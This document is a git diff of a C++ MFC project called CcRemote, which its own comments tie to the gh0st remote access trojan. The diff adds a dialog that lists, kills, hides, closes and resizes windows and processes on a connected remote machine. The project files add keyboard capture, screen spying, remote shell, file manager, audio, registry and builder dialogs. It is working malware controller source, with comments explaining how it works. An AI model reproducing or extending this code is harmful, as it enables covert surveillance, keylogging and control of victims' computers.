str += "\r\n";
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。
//gh0st得到当前的数据
//然后将数据发送出去
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
m_nCurSel = m_edit.GetWindowTextLength();
}

View File

@@ -15,9 +15,13 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SYSTEM, pParent)
{
m_iocpServer = pIOCPServer; //就是一个赋值没什么特别的我们到oninitdialog
m_iocpServer = pIOCPServer; //参数赋值给成员变量
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
//这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST
//窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0));
m_caseSyetemIs = lpBuffer[0];
}
CSystemDlg::~CSystemDlg()
@@ -27,19 +31,22 @@ CSystemDlg::~CSystemDlg()
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TAB, m_tab);
DDX_Control(pDX, IDC_LIST_WINDOWS, m_list_windows);
DDX_Control(pDX, IDC_LIST_PROCESS, m_list_process);
DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows);
}
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab)
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS, &CSystemDlg::OnNMRClickListProcess)
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess)
ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost)
ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide)
ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax)
ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin)
ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn)
ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush)
END_MESSAGE_MAP()
@@ -47,24 +54,20 @@ END_MESSAGE_MAP()
void CSystemDlg::AdjustList(void)
{
if (m_list_process.m_hWnd == NULL)
if (m_list_process_or_windows.m_hWnd == NULL)
{
return;
}
if (m_list_windows.m_hWnd == NULL)
{
return;
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 29;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 0;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list_process.MoveWindow(&rectList);
m_list_windows.MoveWindow(&rectList);
}
m_list_process_or_windows.MoveWindow(&rectList);
}
@@ -84,33 +87,6 @@ void CSystemDlg::OnClose()
}
void CSystemDlg::OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
ShowSelectWindow();
*pResult = 0;
}
void CSystemDlg::ShowSelectWindow(void)
{
switch (m_tab.GetCurSel())
{
case 0:
m_list_windows.ShowWindow(SW_HIDE);
m_list_process.ShowWindow(SW_SHOW);
if (m_list_process.GetItemCount() == 0)
GetProcessList();
break;
case 1:
m_list_windows.ShowWindow(SW_SHOW);
m_list_process.ShowWindow(SW_HIDE);
if (m_list_windows.GetItemCount() == 0)
//GetWindowsList();
break;
}
}
void CSystemDlg::GetProcessList(void)
@@ -139,23 +115,23 @@ BOOL CSystemDlg::OnInitDialog()
SetWindowText(str);//设置对话框标题
m_tab.InsertItem(0, "进程管理"); //为tab设置标题
m_tab.InsertItem(1, "窗口管理");
m_tab.InsertItem(2, "拨号密码");
m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
{
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
}
else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表
{
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300);
ShowWindowsList();
}
AdjustList(); //各个列表的大小
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
ShowSelectWindow(); //显示列表
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
@@ -168,7 +144,7 @@ void CSystemDlg::ShowProcessList(void)
char *strProcessName;
DWORD dwOffset = 0;
CString str;
m_list_process.DeleteAllItems();
m_list_process_or_windows.DeleteAllItems();
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
@@ -178,12 +154,12 @@ void CSystemDlg::ShowProcessList(void)
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
//数据结构构建巧妙
m_list_process.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
str.Format("%5u", *lpPID);
m_list_process.SetItemText(i, 1, str);
m_list_process.SetItemText(i, 2, strProcessName);
m_list_process_or_windows.SetItemText(i, 1, str);
m_list_process_or_windows.SetItemText(i, 2, strProcessName);
// ItemData 为进程ID
m_list_process.SetItemData(i, *lpPID);
m_list_process_or_windows.SetItemData(i, *lpPID);
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
}
@@ -193,7 +169,7 @@ void CSystemDlg::ShowProcessList(void)
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程
m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程
}
@@ -201,10 +177,10 @@ void CSystemDlg::OnKillprocess()
{
// TODO: 在此添加命令处理程序代码
CListCtrl *pListCtrl = NULL;
if (m_list_process.IsWindowVisible())
pListCtrl = &m_list_process;
else if (m_list_windows.IsWindowVisible())
pListCtrl = &m_list_windows;
if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_process_or_windows;
else if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_process_or_windows;
else
return;
@@ -244,11 +220,57 @@ void CSystemDlg::OnKillprocess()
LocalFree(lpBuffer);
}
void CSystemDlg::ShowWindowsList(void)
{
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
char *lpTitle = NULL;
//m_list_process.DeleteAllItems();
bool isDel = false;
do
{
isDel = false;
for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++)
{
CString temp = m_list_process_or_windows.GetItemText(j, 2);
CString restr = "隐藏";
if (temp != restr)
{
m_list_process_or_windows.DeleteItem(j);
isDel = true;
break;
}
}
} while (isDel);
CString str;
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD);
str.Format("%5u", *lpPID);
m_list_process_or_windows.InsertItem(i, str);
m_list_process_or_windows.SetItemText(i, 1, lpTitle);
m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
// ItemData 为窗口句柄
m_list_process_or_windows.SetItemData(i, *lpPID); //(d)
dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1;
}
str.Format("窗口名称 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list_process_or_windows.SetColumn(1, &lvc);
}
void CSystemDlg::OnRefreshpslist()
{
// TODO: 在此添加命令处理程序代码
if (m_list_process.IsWindowVisible())
if (m_list_process_or_windows.IsWindowVisible())
GetProcessList();
//if (m_list_windows.IsWindowVisible())
//GetWindowsList();
@@ -260,7 +282,14 @@ void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu popup;
popup.LoadMenu(IDR_PSLIST);
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
{
popup.LoadMenu(IDR_PSLIST);
}
else if (m_caseSyetemIs == TOKEN_WSLIST)
{
popup.LoadMenu(IDR_WINDOW_LIST);
}
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
@@ -277,9 +306,9 @@ void CSystemDlg::OnReceiveComplete(void)
case TOKEN_PSLIST:
ShowProcessList();
break;
//case TOKEN_WSLIST:
//ShowWindowsList();
//break;
case TOKEN_WSLIST:
ShowWindowsList();
break;
//case TOKEN_DIALUPASS:
//ShowDialupassList();
//break;
@@ -289,3 +318,130 @@ void CSystemDlg::OnReceiveComplete(void)
}
}
void CSystemDlg::OnWindowClost()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowHide()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow = SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowMax()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上
DWORD hwnd = pListCtrl->GetItemData(nItem); //同上
pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MAXIMIZE; //同上
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
// TODO: 在此添加命令处理程序代码
}
void CSystemDlg::OnWindowMin()
{
// TODO: 在此添加命令处理程序代码
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MINIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReturn()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_RESTORE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReflush()
{
// TODO: 在此添加命令处理程序代码
GetWindowsList();
}
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}

View File

@@ -21,29 +21,34 @@ protected:
DECLARE_MESSAGE_MAP()
public:
CTabCtrl m_tab;
CListCtrl m_list_windows;
CListCtrl m_list_process;
CListCtrl m_list_process_or_windows;
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理
private:
void AdjustList(void);
void ShowSelectWindow(void);
void GetProcessList(void);
public:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult);
virtual BOOL OnInitDialog();
void ShowProcessList(void);
afx_msg void OnKillprocess();
afx_msg void OnRefreshpslist();
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnWindowClost();
afx_msg void OnWindowHide();
afx_msg void OnWindowMax();
afx_msg void OnWindowMin();
afx_msg void OnWindowReturn();
afx_msg void OnWindowReflush();
void GetWindowsList(void);
void OnReceiveComplete(void);
void ShowProcessList(void);
void ShowWindowsList(void);
};

Binary file not shown.

View File

@@ -94,13 +94,17 @@
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;ASMV;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<AdditionalIncludeDirectories>
</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -146,7 +150,7 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
@@ -154,9 +158,10 @@
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>..\..\common\zlib\ZlibStatRelease\zlibstat.lib%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<AdditionalOptions>/SAFESEH:NO /force %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
</Link>
<Midl>
<MkTypLibCompatible>false</MkTypLibCompatible>
@@ -201,9 +206,18 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="..\..\common\macros.h" />
<ClInclude Include="CAudioDlg.h" />
<ClInclude Include="CBuildDlg.h" />
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CFileManagerDlg.h" />
<ClInclude Include="CHelpWindow.h" />
<ClInclude Include="CKeyBoardDlg.h" />
<ClInclude Include="CServerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="CScreenSpyDlg.h" />
<ClInclude Include="CSettingDlg.h" />
<ClInclude Include="CShellDlg.h" />
<ClInclude Include="CSystemDlg.h" />
@@ -213,16 +227,30 @@
<ClInclude Include="include\IOCPServer.h" />
<ClInclude Include="include\Mapper.h" />
<ClInclude Include="IniFile.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="PublicStruct.h" />
<ClInclude Include="RegDlg.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="SEU_QQwry.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="TrueColorToolBar.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp" />
<ClCompile Include="CBuildDlg.cpp" />
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CFileManagerDlg.cpp" />
<ClCompile Include="CHelpWindow.cpp" />
<ClCompile Include="CKeyBoardDlg.cpp" />
<ClCompile Include="CServerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="CScreenSpyDlg.cpp" />
<ClCompile Include="CSettingDlg.cpp" />
<ClCompile Include="CShellDlg.cpp" />
<ClCompile Include="CSystemDlg.cpp" />
@@ -241,12 +269,14 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
</ClCompile>
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="RegDlg.cpp" />
<ClCompile Include="SEU_QQwry.cpp" />
<ClCompile Include="TrueColorToolBar.cpp" />
</ItemGroup>
@@ -254,14 +284,45 @@
<ResourceCompile Include="CcRemote.rc" />
</ItemGroup>
<ItemGroup>
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\CcRemote.rc2" />
<None Include="res\dot.cur" />
</ItemGroup>
<ItemGroup>
<Image Include="res\audio.ico" />
<Image Include="res\background_picture.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\bmp00001.bmp" />
<Image Include="res\CcRemote.ico" />
<Image Include="res\cmdshell.ico" />
<Image Include="res\dword.ico" />
<Image Include="res\file_ico.ico" />
<Image Include="res\help_window.bmp" />
<Image Include="res\keyboard.ico" />
<Image Include="res\liset_online_pic.bmp" />
<Image Include="res\list_online_pic.bmp" />
<Image Include="res\logo.bmp" />
<Image Include="res\regsz.ico" />
<Image Include="res\remote.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
<Image Include="res\ToolBar_Main.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp" />
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp" />
<Image Include="res\文件夹1.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@@ -75,6 +75,39 @@
<ClInclude Include="CSystemDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CScreenSpyDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CFileManagerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileTransferModeDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="InputDlg.h">
<Filter>源文件</Filter>
</ClInclude>
<ClInclude Include="CAudioDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CServerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CKeyBoardDlg.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CHelpWindow.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CBuildDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -113,6 +146,39 @@
<ClCompile Include="CSystemDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CScreenSpyDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CFileManagerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileTransferModeDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="InputDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CAudioDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CServerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="RegDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CKeyBoardDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CHelpWindow.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CBuildDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">
@@ -123,6 +189,21 @@
<None Include="res\CcRemote.rc2">
<Filter>资源文件</Filter>
</None>
<None Include="res\dot.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\1.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\2.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\3.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\4.cur">
<Filter>资源文件</Filter>
</None>
</ItemGroup>
<ItemGroup>
<Image Include="res\CcRemote.ico">
@@ -140,5 +221,83 @@
<Image Include="res\system.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\background_picture.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\Bitmap_4.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\Bitmap_5.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\bmp00001.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\toolbar2.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\audio.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\dword.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\regsz.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\remote.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\文件夹1.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\file_ico.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\logo.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\liset_online_pic.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\list_online_pic.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\keyboard.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="res\help_window.bmp">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -8,6 +8,7 @@
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
